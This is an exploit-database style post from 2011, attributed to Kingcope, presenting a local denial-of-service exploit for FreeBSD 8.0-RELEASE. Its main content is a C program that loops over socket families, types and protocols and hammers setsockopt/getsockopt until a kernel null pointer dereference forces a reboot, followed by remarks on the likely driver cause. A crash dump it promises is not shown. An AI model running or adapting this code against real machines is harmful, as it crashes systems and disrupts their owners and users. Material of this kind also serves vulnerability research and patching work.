[BSD] FreeBSD 8.0 Local Denial of Service (forced reboot)

# Exploit Title: FreeBSD local denial of service - forced reboot
# Date: 28. January 2011
# Author: Kingcope
# Software Link: http://www.freebsd.org
# Operating System: FreeBSD
# Tested on: 8.0-RELEASE

This source code when compiled and executed
will reboot at least FreeBSD 8.0-RELEASE because of a null pointer dereference.

#include <sys/types.h>
#include <sys/mman.h>
#define PAGE_SIZE 4096
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/socket.h>
main() {
       int k,fd,i2,i3,i4,i5,i6,i7,i8;
char *p;
      char buf[4096];

      for (i2=0;i2<256;i2++) {
       for (i3=0;i3<2;i3++) {
       for (i4=0;i4<2;i4++) {
       fd = socket(i2, i3, i4);
       if (fd < 0) continue;
       printf("SUCCESS!\n");
       for (i5=0;i5<100;i5++) {
       for (i6=0;i6<100;i6++) {
       setsockopt(fd, i5, i6, buf, 4);
       getsockopt(fd, i5, i6, buf, &i7);
       }}}}}
}

The crash dump looks like the following.

The cause of the crash seems to be a specific network driver. Since
the crash is forced (only?) in a VMWare virtual machine the
exploitability can be dependent on the loaded device drivers
and installed hardware.
